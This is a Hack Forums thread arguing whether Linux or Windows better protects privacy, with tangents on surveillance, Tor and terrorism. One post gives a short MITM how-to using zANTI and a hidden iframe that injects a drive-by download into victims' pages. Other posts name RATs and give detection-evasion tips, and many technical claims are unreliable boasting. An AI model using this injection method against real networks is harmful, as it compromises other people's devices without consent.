

Forum:[Hack Forums](#)

Thread: [Microsoft exists to surveil your Windows Usage - try Linux](#)

ApexChill666 - November 16, 2018, 11:13 am

Microsoft makes money by surveilling you and selling the data.

They are a USA company so they (Communications Assistance For Law Enforcement Act) [they work with feds].

Windows has millions of viruses.

Linux allows you to do anything with it, without tracking you, for free.

And doesnt have the virus problem Windows does.

Linux is all you need.

The mindset is Linux = Free and respects your Privacy, you can inspect every line of code!

Windows = Exists to track you!

Libreboot disables Intel and AMD CPU backdoor =)

I trust Linux. :)

Mr. Robot - November 16, 2018, 11:18 am

"Linux allows you to do anything with it"

Not quite.

True: You can do everything on windows that you can with linux.

False: You can do everything on linux that you can with windows.

Side note, even if you use linux your manufacturer may have still infected your machine. Chill homeboy.

Quote:Linux = USA, Freedom, you can buy a .50 Cal sniper just because (you can use IPtables firewall, run a mailserver, and host a website all on Linux easily for free.)

Comparing Linux to USA/Freedom is nonsense. Comparing it to a .50 Cal is even more nonsense.

You can also run a mailserver use IPtables and host a website for free from Windows.

Quote:Windows = Going into a police station and trying to do crime.

More nonsense.

Quote:Linux allows you to do anything with it, without tracking you, for free.

And doesnt have the virus problem Windows does.

Not at all, there are plenty of ways to infect both OS from default settings/installation.

The Communications Assistance for Law Enforcement Act actually is as simple as your information being on a giant MiTM attack by FEDS which doesn't change simply by moving to Linux.

Your data is still monitored the moment it goes through into US soil. The easiest way to explain it is as follows:

Scenario 1.

You aren't using encryption and send an email to someone using a russian mail client to their russian mail client. It doesn't touch any servers in places where the US can monitor it.

= Only the places that host the services/networking can see it.

Scenario 2.

You aren't using encryption and send an email to someone using a russian mail client to their russian mail client. During the send, it needs to bounce of either a US server or server maintained by the US.

= The FEDS will be able to see everything and keep it as 'metadata'.

The way it works and the way data bounces - they can only see things that enter or leave the united states. That does mean if you send an email from a server in your country to another country - what you don't see if it bounces even momentarily into the US.

ApexChill666 - November 16, 2018, 11:23 am

(Nov 16, 2018 12:18 PM)Mr. Robot Wrote: [\[CITE\]](#) "Linux allows you to do anything with it"

Not quite.

True: You can do everything on windows that you can with linux.

False: You can do everything on linux than you with windows.

Side note, even if you use linux your manufacturer may have still infected your machine. Chill homeboy.

Comparing Linux to USA/Freedom is nonsense. Comparing it to a .50 Cal is even more nonsense. You can also run a mailserver use IPtables and host a website for free from Windows.

More nonsense.

Not at all, there are plenty of ways to infect both OS from default settings/installation.

Linux is much harder to infect.

1. Its less targeted (less public tools/exploits)

And Im right about Microsofts business model, Linux is an open system (code wise) Windows exists to track you.

I can only trust Linux because it trusts ME to look at it.

Microsoft, looks at you.

About CALE,

MiTM at ISP level, true, Windows has premade exploits (NSAKEY_, Blackshades, Logging, and more)

You can use anonsurf(linux) plus an OnionPi(runs on linux) and Tor Browser(Has less exploits that work on linux for it) to hop through 9 tor nodes to thwart the ISP mitm.

ApexChill666 - November 16, 2018, 11:28 am

The privacy-respecting alternatives are Free,
Libreboot, Debian(Linux), Tor, Firefox, all free and open source.

ApexChill666 - November 16, 2018, 11:31 am

Regarding, email, yeah thats why I dont use it =)

Bitmessage or XMPP+OTR as platforms, PGP'ing all messages, and using offshore VPNs and Tor nodes, is dank.

An open code system will always have higher capability than a proprietary tracking OS.

As a hacker, im glad people use Windows, its easy to infect!
But for HF, Linux is the secure path.

Security:
Libreboot, Linux, Tor.

Mr. Robot - November 16, 2018, 11:33 am

(Nov 16, 2018 12:23 PM)ApexChill666 Wrote: [CITE](#) Linux is much harder to infect.

1. Its less targeted (less public tools/exploits)

And Im right about Microsofts business model, Linux is an open system (code wise) Windows exists to track you.

I can only trust Linux because it trusts ME to look at it.
Microsoft, looks at you.

About CALE,
MiTM at ISP level, true, Windows has premade exploits (NSAKEY_, Blackshades, Logging, and more)

You can use anonsurf(linux) plus an OnionPi(runs on linux) and Tor Browser(Has less exploits that work on linux for it) to hop through 9 tor nodes to thwart the ISP mitm.

1. You don't need to use 9 damn tor nodes to thwart anything. That's the dumbest thing I have ever heard - The only reason for doing so is to simply entrust at least one of those nodes to not be controlled by feds or will give up information to feds. Fucking ridiculous you really just showed your ignorance with this post.

2. I wasn't discussing MiTM at ISP level. Your activity can still be tracked by FEDS + ISP when they see the irregular activity coming from your network even if they can't see what it is for.

3. Over the last 12 months there have been at least 5 main exploits for debian on fresh installation via default applications installed. At least build the distro yourself from scratch if you want to 'act cool' and even then you run more risk of leaving vulnerabilities.

4. If you wont take the time to check both your hardware and software for windows - you definitely wont be checking them for linux.

5. Premade exploits? You realize what you're saying right? During a MiTM attack if I was on your network it would be SO FUCKING EASY to infect you compared to having to privilege escalate or hope a windows machine executes my file or has the right network setup.

a323109 - November 16, 2018, 11:34 am

I still dont understand how is possible that terrorists communicate across the globe without

problems???

If there are so many tools gov can use, why do terrorists cheat them all???

If it is Quote:it would be SO FUCKING EASY to infect you
why isnt it so fucking easy to track down the source of a terrorist's video?

ApexChill666 - November 16, 2018, 11:36 am

(Nov 16, 2018 12:33 PM)Mr. Robot Wrote: [\[CITE\]](#) 1. You don't need to use 9 damn tor nodes to thwart anything. That's the dumbest thing I have ever heard - The only reason for doing so is to simply entrust at least one of those nodes to not be controlled by feds or will give up information to feds. Fucking ridiculous you really just showed your ignorance with this post.

2. I wasn't discussing MiTM at ISP level. Your activity can still be tracked by FEDS + ISP when they see the irregular activity coming from your network even if they can't see what it is for.

3. Over the last 12 months there have been at least 5 main exploits for debian on fresh installation via default applications installed. At least build the distro yourself from scratch if you want to 'act cool'.

4. If you wont take the time to check both your hardware and software for windows - you definitely wont be checking them for linux.

5. Premade exploits? You realize what you're saying right? During a MiTM attack if I was on your network it would be SO FUCKING EASY to infect you compared to having to privilege escalate or hope a windows machine executes my file or has the right network setup.

I use 9 tor nodes because I can.

Mega trail obfuscation: Anonsurf > OnionPI > VPN > Tor Browser.

about premade exploits, my OS advertises as another OS, so accurately targeting my OS would be very hard. (at the TCP/IP level)(Something linux can do)

I also only allow IP traffic to/frommy VPN ip.

ApexChill666 - November 16, 2018, 11:41 am

(Nov 16, 2018 12:37 PM)php Wrote: [\[CITE\]](#) In simple terms, because it's a two way street.

I'll let Robot clarify, he likes clarification. He's smart. Be like Robot.

Covert Communication Chanel.

Mr. Robot - November 16, 2018, 11:43 am

(Nov 16, 2018 12:36 PM)ApexChill666 Wrote: [\[CITE\]](#) I use 9 tor nodes because I can.

Mega trail obfuscation: Anonsurf > OnionPI > VPN > Tor Browser.

about premade exploits, my OS advertises as another OS, so accurately targeting my OS would be very hard. (at the TCP/IP level)(Something linux can do)

Wait for it. Wait for OP to say he's on Parrot.

Let's see.

FBI see some interesting traffic coming from one of your 9 nodes - maybe they control it, maybe they don't. They gain access to those nodes through legal course or owner openly hands over traffic. They track that back to previous nodes up the chain as you don't control those nodes and don't know who does.

From there they simply contact your 'no log' VPN and gain access to again another node from your

Onion PI to AGAIN another node being used by anonsurf.

At this point not only is your internet going so incredibly slow that you wont be able to function for any activity outside of making a post and waiting 45+ seconds but you are also just stacking useless nonsense.

It does happen and they do work on this. There are plenty of other ways but seeing as you wanted to point out your stupidity i'll clear the air.

ApexChill666 - November 16, 2018, 11:44 am

(Nov 16, 2018 12:43 PM)Mr. Robot Wrote: [CITE](#) Wait for it. Wait for OP to say he's on Parrot.

Let's see.

FBI see some interesting traffic coming from one of your 9 nodes - maybe they control it, maybe they don't. They gain access to those nodes through legal course or owner openly hands over traffic. They track that back to previous nodes up the chain as you don't control those nodes and don't know who does.

From there they simply contact your 'no log' VPN and gain access to again another node from your Onion PI to AGAIN another node being used by anonsurf.

At this point not only is your internet going so incredibly slow that you wont be able to function for any activity outside of making a post and waiting 45+ seconds but you are also just stacking useless nonsense.

It does happen and they do work on this. There are plenty of other ways but seeing as you wanted to point out your stupidity i'll clear the air.I know a trail exists an can be followed either direction. I just like stacking my odds, and finially, Public Wifi with spoofed MAC and hostname =)

@PGP

Yes keyword search, but then they have discussions such as this that waste their time, and the actual threats dont use the dirty words.

'Lets meet for coffee' could be all they say.

a323109 - November 16, 2018, 11:45 am

If i simply type "Terrorist" i put something into alert mode.

If there are too many alerts what do they do?

Go after any guy typing terrorist?

This is ridicolous

ApexChill666 - November 16, 2018, 11:47 am

(Nov 16, 2018 12:45 PM)a323109 Wrote: [CITE](#) If i simply type "Terrorist" i put something into alert mode.

If there are too many alerts what do they do?

Go after any guy typing terrorist?

This is ridiculous
That's what the Gov attempts to solve.
Finding the Signal in the noise.

And why I use Linux, if 1 entity can see you, than any1 can. So I use Linux because I am the only one who I want using my PC.

Mr. Robot - November 16, 2018, 11:47 am

(Nov 16, 2018 12:41 PM)ApexChill666 Wrote: [\[CITE\]](#) Covert Communication Channels.
^Is a direct title of a book that covers the topic.

Gov does mass surveil and mass infect.
They have 2 issues.

1. Sorting through and finding relevant data (They have so much data they can find whats important)
2. Gov goes for maximum sentence most of the time, so if they tip off a terrorist plot, then the terrorist gets 5 years. But if they stop the terrorist just before they do something, the terrorist gets death sentence.

Consider how many meanings 'I'll meet you at the place for the event'
Concert? Coffee? Terrorcell meeting?

By using channels in indirect ways, meaning is conveyed, a lot of the time they use physical things like notes and voice in person so the main details can be arranged, then the internet is just a signaling tool 'hi'=GOGOGO
etc.

You are correct that the internet in 'most' large scale terrorist attacks are done via signaling but are wrong about sorting through data. They have quite a large automated system that identifies suspicious text and your "I'll meet you at ___ for the ____" will be triggered in their system. They then have review teams that analyze from there.

No, Government doesn't go for maximum sentences when it puts civilians at risk. If they are tipped off about a terrorist plot they investigate immediately with the right channels to not allow any targets to know how they were caught out - this is to avoid techniques and tools being known by the groups. The terrorist does not get 5 years but they will always need both proof and evidence on the scale of the plans otherwise it would be a cake walk for the defendant to clear his name.

WageWolf - November 16, 2018, 11:48 am

(Nov 16, 2018 12:44 PM)ApexChill666 Wrote: [\[CITE\]](#) I know a trail exists and can be followed either direction.

I just like stacking my odds, and finally, Public Wifi with spoofed MAC and hostname =)

@PGP

Yes keyword search, but then they have discussions such as this that waste their time, and the actual threats don't use the dirty words.

'Let's meet for coffee' could be all they say.

If you are doing something that requires that many anonymizing steps, you should probably not be on HF? :o

Hero - November 16, 2018, 11:50 am

It's just a matter of time until there is no way to be anonymous online. Even if you use Linux, there

are still hardware backdoors. How are you going to defeat them without manufacturing your own hardware? That a) costs way too much b) would no one buy privacy enhanced hardware except for a handful of people and c) would the software support be utter crap. It's just not worth it.

Mr. Robot - November 16, 2018, 11:51 am

(Nov 16, 2018 12:44 PM)ApexChill666 Wrote: [\[CITE\]](#) I know a trail exists an can be followed either direction.

I just like stacking my odds, and finially, Public Wifi with spoofed MAC and hostname =)

@PGP

Yes keyword search, but then they have discussions such as this that waste their time, and the actual threats dont use the dirty words.

'Lets meet for coffee' could be all they say.

Public WiFi would also require you to:

1. Avoid all cameras and people.
2. Drop your full setup as now the last outgoing point is not in your control.
3. Hope there are no other devices connected to the Public WiFi monitoring activity then using a hotspot/ping mapper to find where you are located.
4. 'Lets meet for coffee' on a protected line is going to be investigated.
5. You also run a risk of a network attack from other devices connected to that public WiFi.

(Nov 16, 2018 12:45 PM)a323109 Wrote: [\[CITE\]](#) If i simply type "Terrorist" i put something into alert mode.

If there are too many alerts what do they do?

Go after any guy typing terrorist?

This is ridiculous

They do have trigger words that along with other typing data mentioned and red flags will be investigated yes.

If I send an email to someone using an encrypted known platform pertaining to blowing up the FBI or pentagon or some crap I will be investigated.

If I send an email with the same nonsense via gmail to someone they will simply monitor other activity on a light scale basis in comparison.

Note: Even YouTube uses a rudimentary system similar - they convert all videos to both frames and captions automatically on upload then anything that identifies as slightly out of the ordinary will be demonetized then manually checked.

Everything you say will be worded out as well as techniques like OCR which will convert on screen text to script for their systems to analyze -

ApexChill666 - November 16, 2018, 11:54 am

(Nov 16, 2018 12:51 PM)Mr. Robot Wrote: [\[CITE\]](#) Public WiFi would also require you to:

1. Avoid all cameras and people.
2. Drop your full setup as now the last outgoing point is not in your control.
3. Hope there are no other devices connected to the Public WiFi monitoring activity then using a hotspot/ping mapper to find where you are located.
4. 'Lets meet for coffee' on a protected line is going to be investigated.

5. You also run a risk of a network attack from other devices connected to that public WiFi.

They do have trigger words that along with other typing data mentioned and red flags will be investigated yes.

If I send an email to someone using an encrypted known platform pertaining to blowing up the FBI or pentagon or some crap I will be investigated.

If I send an email with the same nonsense via gmail to someone they will simply monitor other activity on a light scale basis in comparison. Thats all true, You could be in a van across the street, or ProxyHAM (2 miles away)

We agree on a lot, =)

Mr. Robot - November 16, 2018, 11:59 am

(Nov 16, 2018 12:54 PM)ApexChill666 Wrote: [\[CITE\]](#) Thats all true, You could be in a van across the street, or ProxyHAM (2 miles away)

We agree on a lot, =)

And neither would stop them when they can simply check the packetloss ratio in comparison to other devices on the network to identify where your location was. Which would mean either waiting or you having to use different public spots all over the world to achieve what you were trying to do. A ProxyHAM would also easily be traced back to you - not just via the parts which you would have to avoid but also finger prints, requiring power, accidental connection misuse and so much more.

This is why your OP is stupid - it goes on and on until you get to the point where unless you are some major terrorist it's not worth your time. Protect yourself from logs and history from the public and leveraging point that could be used against you - other than that if you are doing anything worse, you shouldn't be on here.

a323109 - November 16, 2018, 11:17 pm

The weak point is:

Gov spies citizens, gov finds out some people. Those people are likely involved in some terror activity. Gov monitors the suspects for a long time basically doing nothing against them. Until they hit!

Italy (where i live) has a different strategy. If a man looks like a terrorist then he will be imprisoned no matter what. There is a law made to this sort of things. Once he is in prison they can investigate the rest. And something interesting pops up for sure.

If you simply spy terrorists from a van that is not enough at all.

Mr. Robot - November 17, 2018, 10:33 am

(Nov 17, 2018 12:17 AM)a323109 Wrote: [\[CITE\]](#) The weak point is:

Gov spies citizens, gov finds out some people. Those people are likely involved in some terror activity. Gov monitors the suspects for a long time basically doing nothing against them. Until they hit!

Italy (where i live) has a different strategy. If a man looks like a terrorist then he will be imprisoned no matter what. There is a law made to this sort of things. Once he is in prison they can investigate

the rest. And something interesting pops up for sure.

If you simply spy terrorists from a van that is not enough at all.
And this is why Italy is shit.
Infringing on someone else like that is wrong at every level.

emotionull - November 17, 2018, 10:34 am

I used ubuntu for a few years and I loved it. However I have more access to things I need to work via windows.

a323109 - November 17, 2018, 10:34 am

(Nov 17, 2018 11:33 AM)Mr. Robot Wrote: [\[CITE\]](#) And this is why Italy is shit.
Infringing on someone else like that is wrong at every level.
shit without terrorist attack ?

[Video: https://www.youtube.com/watch?v=_rJIZMdLdhA]

I can post video where i shoot from my bedroom window because i dont look like a terrorist ?

My xbow can kill

Mr. Robot - November 17, 2018, 10:39 am

(Nov 17, 2018 11:34 AM)a323109 Wrote: [\[CITE\]](#) without terrorist attack ?
Hmm lemme think real quick.

1. I'm just an average dude walking around then all of a sudden I am now in jail waiting for either a sentence or deportation - all because I 'look like a terrorist'.

Quote: If a man looks like a terrorist then he will be imprisoned no matter what

2. Yall had a school bombing in 2012.

(Nov 17, 2018 11:34 AM)a323109 Wrote: [\[CITE\]](#) shit without terrorist attack ?

[Video: https://www.youtube.com/watch?v=_rJIZMdLdhA]

I can post video where i shoot from my bedroom window because i dont look like a terrorist ?

My xbow can kill

You do realize I can do that too right? Italy isn't special because you can shoot a bow out your window. Where I live I can shoot guns out my window no issues.

a323109 - November 17, 2018, 10:43 am

(Nov 17, 2018 11:39 AM)Mr. Robot Wrote: [\[CITE\]](#) Hmm lemme think real quick.

1. I'm just an average dude walking around then all of a sudden I am now in jail waiting for either a sentence or deportation - all because I 'look like a terrorist'.

2. Yall had a school bombing in 2012.

You do realize I can do that too right? Italy isn't special because you can shoot a bow out your window. Where I live I can shoot guns out my window no issues.

https://www.ilmattino.it/napoli/cronaca/documenti_pro_isis_su_internet_arrestato_23enne_marocchino_perquisizioni_anche_a_napoli-3634640.html

Yes, if you look like a terrorist and walk like a terrorist then you are a terrorist

Hmmm...why dont we go back to windows the shit operating system?

(Post a video on youtube while you shoot from your window)

Mr. Robot - November 17, 2018, 10:48 am

(Nov 17, 2018 11:43 AM)a323109 Wrote: [\[CITE\]](#) Yes, if you look like a terrorist and walk like a terrorist then you are a terrorist

Hmmm...why dont we go back to windows the shit operating system?

(Post a video on youtube while you shoot from your window)

That's pretty damn racist dude and against human rights. That means anyone can identify someone else as a terrorist on fake grounds and have you deported/jailed for no reason other than they dislike you.

mycatisadog - November 17, 2018, 11:00 am

(Nov 16, 2018 12:23 PM)ApexChill666 Wrote: [\[CITE\]](#) Linux is much harder to infect.

Hahahahahah xD Oh my are you like, serious? Which is easier, to find an exploit in a system that you have 0 code of, or in the most popular open source github repo ever? Literally everyone can just take a look at the code to try to exploit it.

a323109 - November 17, 2018, 11:07 am

(Nov 17, 2018 11:48 AM)Mr. Robot Wrote: [\[CITE\]](#) That's pretty damn racist dude and against human rights. That means anyone can identify someone else as a terrorist on fake grounds and have you deported/jailed for no reason other than they dislike you.

You did not read the article. He was imprisoned because he was "supporting" a terrorist organization.

There is always a way to make the thing more acceptable. I was too brutal. I told the truth.

(I did not use a gun because it would be too noisy)

Mr. Robot - November 17, 2018, 11:10 am

(Nov 17, 2018 12:07 PM)a323109 Wrote: [\[CITE\]](#) You did not read the article. He was imprisoned because he was "supporting" a terrorist organization.

There is always a way to make the thing more acceptable. I was too brutal. I told the truth.

(I did not use a gun because it would be too noisy)

"If a man looks like a terrorist then he will be imprisoned no matter what"

Your words

a323109 - November 17, 2018, 11:11 am

Quote:«Participation in the terrorist association of the Islamic State». It is the accusation against an Italian-Moroccan arrested this morning by the police at the end of an investigation of the Antiterrorism coordinated by the Turin prosecutor's office. This is Elmahdi Halili, 23, author of the first ISIS propaganda text in Italian. With regard to Halili, the investigating judge of the Court of Turin has issued an order for precautionary custody in prison at the end of the investigation of the Turin Digos, with the support of the Service for the fight against extremism and external terrorism of the

UCIGOS.

He did only "propaganda".

You spy him from a van, here they put him in jail before he put in place an attack.

(Nov 17, 2018 12:10 PM)Mr. Robot Wrote: [\[CITE\]](#) "If a man looks like a terrorist then he will be imprisoned no matter what"

Your words

If you understand you understand, if you dont you dont. It is not my problem.

Underworldproblem - November 17, 2018, 11:13 am

well, I'm just going to state the common response

I'm not doing anything illegal, so i really dont care

plus can't even play the majority of steam games on linux properly

idk if i'm being ignorant

convince me pls

ApexChill666 - November 17, 2018, 7:18 pm

(Nov 17, 2018 12:13 PM)Chug Jug Wrote: [\[CITE\]](#) well, I'm just going to state the common response

I'm not doing anything illegal, so i really dont care

plus can't even play the majority of steam games on linux properly

idk if i'm being ignorant

convince me pls

Linux is less targeted, check out the hackforums sellers section.

Find a Linux Rat, I can think of 3 (Metasploit, netwire, thefatrat)

Windows rats (Blackshades, netwire, metasploit, njrat etc)

There are more tools to infect Windows users compared to Linux. So if we wanted to target linux, we would have more visibility (open source code) but less premade tools such as Blackshades for Windows.

Linux is less targeted, thats my primary reason for using it.

Less attacks built for it, because less people use desktop version such as Debian.

You can customize the entire OS from BIOS (libreboot) up, so you can make Debian act like ManDrake linux or Ubuntu. So if someone Nmap scans you nmap reports the wrong os, and thus targeting you is harder.

I love linux, I use a \$30 2008 Thinkpad x200s and it runs flawlessly, never crashes, and I can customize/secure anything.

I like Linux =)

Underworldproblem - November 17, 2018, 8:13 pm

(Nov 17, 2018 08:18 PM)ApexChill666 Wrote: [\[CITE\]](#) Linux is less targeted, check out the hackforums sellers section.

Find a Linux Rat, I can think of 3 (Metasploit, netwire, thefatrat)
Windows rats (Blackshades, netwire, metasploit, njrat etc)

There are more tools to infect Windows users compared to Linux. So if we wanted to target linux, we would have more visibility (open source code) but less premade tools such as Blackshades for Windows.

Linux is less targeted, thats my primary reason for using it.
Less attacks built for it, because less people use desktop version such as Debian.
You can customize the entire OS from BIOS (libreboot) up, so you can make Debian act like ManDrake linux or Ubuntu. So if someone Nmap scans you nmap reports the wrong os, and thus targeting you is harder.

I love linux, I use a \$30 2008 Thinkpad x200s and it runs flawlessly, never crashes, and I can customize/secure anything.

I like Linux =)
lol but you can't even play the majority of games out there

and you're going hardcore with security. Obv windows has more vulnerabilities, but personally speaking, windows os outweighs the security benefits that linux gives.

Mr. Robot - November 17, 2018, 8:18 pm

(Nov 17, 2018 09:13 PM)Chug Jug Wrote: [\[CITE\]](#) lol but you can't even play the majority of games out there

and you're going hardcore with security. Obv windows has more vulnerabilities, but personally speaking, windows os outweighs the security benefits that linux gives.
All OP has mentioned so far as far as windows exploits is simply windows executable files performing exactly how they are suppose to - just being misused to control machines. That's not a vulnerability.

Oran2009 - November 17, 2018, 8:18 pm

And then I'm here using Linux and trying to use Windows on it.

TheDuckDuckGoGuy - November 17, 2018, 8:39 pm

(Nov 17, 2018 09:18 PM)Oran2009 Wrote: [\[CITE\]](#) And then I'm here using Linux and trying to use Windows on it.

And how's that going for you buddy?

Oran2009 - November 17, 2018, 8:51 pm

(Nov 17, 2018 09:39 PM)TheDuckDuckGoGuy Wrote: [\[CITE\]](#) And how's that going for you buddy?
It's taking up a shit ton of data and hogging all the CPU.

Mr. Robot - November 17, 2018, 9:05 pm

(Nov 17, 2018 09:51 PM)Oran2009 Wrote: [\[CITE\]](#) It's taking up a shit ton of data and hogging all the CPU.

? I can run like 20 virtual machines before I start experiencing any lag at all ?

SIM-3257834 - November 17, 2018, 9:33 pm

How to avoid trouble on windows, easy to follow Ebook.

Spoiler ([Click to View](#))

Stop doing illegal shit on the computer. Quite simple TBH.

Feds don't care if you're downloading movies or pirating windows just because your broke ass can't afford a key off reddit. Now if you plan on running servers hosting this crap than you're asking for it. Also doing MITM attacks on senior citizens at McDonalds or public wifi isn't "educational" or testing ones security. It's illegal. As long as you follow these steps big brother won't bother you. Also shocker to HF, all uses HF has for rats is illegal.

0xBB - November 17, 2018, 9:46 pm

(Nov 16, 2018 12:33 PM)Mr. Robot Wrote: [\[CITE\]](#) 1. You don't need to use 9 damn tor nodes to thwart anything. That's the dumbest thing I have ever heard - The only reason for doing so is to simply entrust at least one of those nodes to not be controlled by feds or will give up information to feds. Fucking ridiculous you really just showed your ignorance with this post.

[...]

Now now .. Did you ever watch defcon talks and/or searched about how tails work ? Also I'd love to see you mitm any network .. One single thing would totally render an attack useless.. TLS. Adding to that @op, most of the information any browser/dos machine send is used for targeting ads and improvement of user input based services such as google voice or w/e. As for infection rates, either system is at risk, only up to the "hacker". Most target win based systems due to popular usage, it does not make it more vulnerable, note that unix can execute win portable executable and even .net based ones.

Mr. Robot - November 17, 2018, 9:49 pm

(Nov 17, 2018 10:46 PM)ibennz Wrote: [\[CITE\]](#) Now now .. Did you ever watch defcon talks and how tails work ? Also I'd love to see you mitm any network .. One single thing would totally render an attack useless.. TLS. Adding to that @op, most of the information any browser/dos machine send is used for targeting ads and improvement of user input based services such as google voice or w/e. As for infection rates, either system is at risk, only up to the "hacker". Most target win based systems due to popular usage, it does not make it more vulnerable, note that unix can execute win portable executable and even .net based ones.

TLS doesn't change the ability during a MITM attack to input code into pages and websites you visit for starters. Assuming you of all people would know that.

"Also I'd love to see you mitm any network"

This comment here is why I love this forum. This is literally my specialty out of all the things you could mention.

As for the rest of your comment that's fine, there's nothing wrong with what you said.

0xBB - November 17, 2018, 10:02 pm

(Nov 17, 2018 10:49 PM)Mr. Robot Wrote: [\[CITE\]](#) TLS doesn't change the ability during a MITM attack to input code into pages and websites you visit for starters. Assuming you of all people would know that.

"Also I'd love to see you mitm any network"

This comment here is why I love this forum. This is literally my specialty out of all the things you could mention.

As for the rest of your comment that's fine, there's nothing wrong with what you said.

And how would you sign each request without having the handshake's key? That is impossible as far as I know the protocol has been designed in such way that you would have to get the "key" or "certificate", crack it and figure out which protocol they use to then edit the request.. Also if you still

edit the packets ignoring the encryption, you will get violation of the handshake. Most browser won't even let you navigate that page if it's the case. I've seen people do it exploiting the fact that some pages load unsafe (non tls) cdns/urls or if the machine/browser is using an outdated version of the protocol. Those exceptions are very unlikely to be met, the only option left is to SE the user with a login page into installing your own certificate/keys on the machine so then you can fully read/edit the packets. If you have an other way of doing it, please inform me, looks rather interesting.

Mr. Robot - November 17, 2018, 10:17 pm

(Nov 17, 2018 11:02 PM)ibennz Wrote: [\[CITE\]](#) And how would you sign each request without having the handshake's key? That is impossible as far as I know the protocol has been designed in such way that you would have to get the "key" or "certificate", crack it and figure out which protocol they use to then edit the request.. Also if you still edit the packets ignoring the encryption, you will get violation of the handshake. Most browser won't even let you navigate that page if it's the case. I've seen people do it exploiting the fact that some pages load unsafe (non tls) cdns/urls or if the machine/browser is using an outdated version of the protocol. Those exceptions are very unlikely to be met, the only option left is to SE the user with a login page into installing your own certificate/keys on the machine so then you can fully read/edit the packets. If you have an other way of doing it, please inform me, looks rather interesting.

I can guarantee you right now you don't need anything other than a MiTM connection and then to inject custom script into each web page visited. You can do this using anything even as skiddy as zANTI on a mobile device. You do however need the certificate if you plan on anything else.

I can guarantee you right now if you have a rooted android - download zANTI, run MiTM attack ignoring SSL to avoid any connection issues but turn on inject custom command. Pop in something as simple as

Code `<iframe src="linktodirectdownloadimage" style="width:0;height:0;border:0;border:none;"></iframe>`

And it will download your direct link to their device. This isn't exploiting it however and giving you access but from there it's easy to obtain a hook even on the most updated of both windows and linux.

I'm not going to sit here and call you stupid for not knowing it was possible through SSL but it is. It's something anyone can try right now and it will work. You aren't requesting data through the certificate only allowing the connection to pickup your requested code.

Takehito Morokuzu - November 18, 2018, 4:40 am

Linux still isn't usable as a daily use operating system. I have a gtx 1080 and the ui still lags like I'm using integrated graphics from 2005. Almost everything only runs on Windows, and wine barely runs anything. Linux is too easy to break, I've lost count how many times I've had to reinstall it due to something I did to make it not bootable.

Windows is much faster, much more optimised.

The only uses I see for Linux is servers, and basic computers that only require a single function.

Hero - November 18, 2018, 9:17 am

(Nov 18, 2018 05:40 AM)-yuno gasai- Wrote: [\[CITE\]](#) Linux still isn't usable as a daily use operating system. I have a gtx 1080 and the ui still lags like I'm using integrated graphics from 2005. Almost everything only runs on Windows, and wine barely runs anything. Linux is too easy to break, I've lost count how many times I've had to reinstall it due to something I did to make it not bootable.

Windows is much faster, much more optimised.

The only uses I see for Linux is servers, and basic computers that only require a single function.

This, so much this. Everything feels slow and basic things require complicated things to fix/customize.

mycatisadog - November 18, 2018, 9:25 am

(Nov 18, 2018 05:40 AM)-yuno gasai- Wrote: [\[CITE\]](#) Linux still isn't usable as a daily use operating system. I have a gtx 1080 and the ui still lags like I'm using integrated graphics from 2005. Almost everything only runs on Windows, and wine barely runs anything. Linux is too easy to break, I've lost count how many times I've had to reinstall it due to something I did to make it not bootable.

Windows is much faster, much more optimised.

The only uses I see for Linux is servers, and basic computers that only require a single function.

There are about 253463496835682400852304t68203482036023843 linux distros, you can't possibly say that you've tried all of them and none are usable

Goku - November 18, 2018, 1:38 pm

(Nov 18, 2018 10:25 AM)mycatisadog Wrote: [\[CITE\]](#) There are about

253463496835682400852304t68203482036023843 linux distros, you can't possibly say that you've tried all of them and none are usable

Did you even read what he said?

Ha Haaa - November 18, 2018, 1:44 pm

Very interesting thanks for this

mycatisadog - November 18, 2018, 1:50 pm

(Nov 18, 2018 02:38 PM)IKIGAI Wrote: [\[CITE\]](#) Did you even read what he said?

Did you? They said linux is not usable as a day to day OS, linux is a kernel to

23958394502395902345092304902934023904920394290422 different oses, you can't possibly say all of them are not usable.

Mix - November 18, 2018, 2:15 pm

no matter what you do you are somehow tracked and watched even if you think or wanna believe your not, you are.

mycatisadog - November 18, 2018, 2:18 pm

(Nov 18, 2018 03:15 PM)Mix3rz Wrote: [\[CITE\]](#) no matter what you do you are somehow tracked and watched even if you think or wanna believe your not, you are.

How so? Who tracks and watches me?

Mix - November 18, 2018, 2:27 pm

(Nov 18, 2018 03:18 PM)mycatisadog Wrote: [\[CITE\]](#) How so? Who tracks and watches me?

your phone is tracked 24 / 7 anything you say can be heard if hacked correctly anything wwith a mic webcam u name it, you are an easy target to anyone with enough tracking and hunting skills.

mycatisadog - November 18, 2018, 2:28 pm

(Nov 18, 2018 03:27 PM)Mix3rz Wrote: [\[CITE\]](#) your phone is tracked 24 / 7 anything you say can be heard if hacked correctly anything wwith a mic webcam u name it, you are an easy target to anyone with enough tracking and hunting skills.

Hacking into phones nor computers is not that easy love

Mix - November 18, 2018, 2:30 pm

(Nov 18, 2018 05:40 AM)-yuno gasai- Wrote: [\[CITE\]](#) Linux still isn't usable as a daily use operating system. I have a gtx 1080 and the ui still lags like I'm using integrated graphics from 2005. Almost everything only runs on Windows, and wine barely runs anything. Linux is too easy to break, I've lost count how many times I've had to reinstall it due to something I did to make it not bootable.

Windows is much faster, much more optimised.

The only uses I see for Linux is servers, and basic computers that only require a single function.

Are you sure your gtx 1080 is a legit card and not one of them flashed bios cards from china :D

(Nov 18, 2018 03:28 PM)mycatisadog Wrote: [\[CITE\]](#) Hacking into phones nor computers is not that easy love

A phone is as easy as a phone number. computer can be as easy as a fish link... Please it is.

mycatisadog - November 18, 2018, 2:33 pm

(Nov 18, 2018 03:30 PM)Mix3rz Wrote: [\[CITE\]](#) Are you sure your gtx 1080 is a legit card and not one of them flashed bios cards from china :D

A phone is as easy as a phone number. computer can be as easy as a fish link... Please it is.
Do hack me please dude. Please do.

Mix - November 18, 2018, 2:35 pm

(Nov 18, 2018 03:33 PM)mycatisadog Wrote: [\[CITE\]](#) Do hack me please dude. Please do.
This ends here fella. ?

mycatisadog - November 18, 2018, 2:37 pm

(Nov 18, 2018 03:35 PM)Mix3rz Wrote: [\[CITE\]](#) This ends here fella. ?
What does that even mean?

Goku - November 18, 2018, 3:24 pm

(Nov 18, 2018 02:50 PM)mycatisadog Wrote: [\[CITE\]](#) Did you? They said Linux is not usable as a day to day OS, Linux is a kernel to 23958394502395902345092304902934023904920394290422 different oses, you can't possibly say all of them are not usable.

It's usable but doesn't have the same optimization in performance like windows or mac os x. In my opinion, Linux is good to wake up old pc/laptop out of the dead and it works for me but personally use windows. So I totally understand his point.

